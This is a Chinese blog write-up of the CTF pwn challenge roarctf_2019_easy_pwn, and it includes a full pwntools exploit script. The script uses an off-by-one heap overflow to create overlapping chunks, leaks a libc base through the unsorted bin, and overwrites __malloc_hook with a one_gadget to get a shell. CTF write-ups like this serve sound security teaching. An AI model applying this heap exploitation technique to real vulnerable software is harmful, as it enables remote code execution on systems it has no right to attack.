roarctf_2019_easy_pwn的wp

本文详细介绍了如何利用Off-by-One漏洞构造重叠chunk,以达到任意地址分配chunk的效果,并通过泄露libc地址,修改malloc_hook,最终执行one_gadget实现远程代码执行。步骤包括申请和编辑chunk,利用off-by-one漏洞,伪造chunk,泄露libc基址,以及执行payload。
摘要由CSDN通过智能技术生成

一个堆题
add函数
在这里插入图片描述
2.free
在这里插入图片描述
很完美,没什么漏洞
3.edit
在这里插入图片描述
里面有个判断大小的函数
在这里插入图片描述
存在obo漏洞,当edit的大小比申请多10会多输入一个字节
这道题的思路是通过 offbyone来构造重叠chunk,达到任意地址分配chunk的效果,然后修改malloc_hook地址处的内容为one gadget地址

首先利用Unsorted bin泄露libc的地址
我们先申请4个chunk

add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3

在这里插入图片描述

利用off-by-one通过修改chunk0将chunk1的size改为0xa1,34是(0x18+10),用来触发off-by-one漏洞的

edit(0,34,b'a'*0x10+p64(0x20)+p8(0xa1))

在这里插入图片描述
接下来编辑chunk2来让我们伪造的chunk1通过检查

edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))

在这里插入图片描述

之后我们释放掉chunk1,重新申请,这样我们就让new chunk 1(上图黄色标记) 和chunk 2 有重叠部分了

delete(1)
add(0x90)

但是重新申请的new chunk1 会覆写掉之前的chunk2的size
需要编辑一下chunk1去手动写入chunk2的size

edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

现在chunk1和chunk2有重叠了,释放掉chunk2,将其free以后,会归入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,尽管free以后内容会清0,但是search函数中的memcmp却可以通过使v1为\x00来绕过,这样的话就会打印出bin的fb字段,即main_arena + offset,然后我们通过打印chunk1就能得到程序里的main_arena + offset地址,
动调可以知道offset=88,看一下给我们的libc里的main_arena的地址
ida打开libc,malloc_trim(),如图,libc里的main_arena的地址是0x3c4b20

from pwn import *

#r=remote('node3.buuoj.cn',25080)
r=process('roarctf_2019_easy_pwn')
libc=ELF('./libc-2.23-64.so')
context.log_level="debug"

def add(size):
    r.recvuntil('choice: ')
    r.sendline('1')
    r.recvuntil('size:')
    r.sendline(str(size))

def edit(index,size,data):
    r.recvuntil('choice: ')
    r.sendline('2')
    r.recvuntil('index:')
    r.sendline(str(index))
    r.recvuntil('size:')
    r.sendline(str(size))
    r.recvuntil('content:')
    r.send(data)
 
def delete(index):
    r.recvuntil('choice: ')
    r.sendline('3')
    r.recvuntil('index:')
    r.sendline(str(index))
 
def show(index):
    r.recvuntil('choice: ')
    r.sendline('4')
    r.recvuntil('index:')
    r.sendline(str(index))  

malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']

print hex(malloc_hook)
print hex(realloc_hook)

#gdb.attach(r,"b calloc")

add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3

#gdb.attach(r)

edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one 
#gdb.attach(r)

edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check 
#gdb.attach(r)

delete(1)
add(0x90)#idx1 chunk overlap

edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

delete(2)	
show(1)

r.recvuntil("content: ")
r.recv(0x20)
libc_base=u64(r.recv(6).ljust(8,"\x00"))-0x3c4b78


print "libc_base:"+hex(libc_base)


add(0x80)

edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

delete(2)

edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)


add(0x60)

add(0x60)#idx4
#gdb.attach(r)

one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4)) 
add(0x60)
r.interactive()

具体看

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值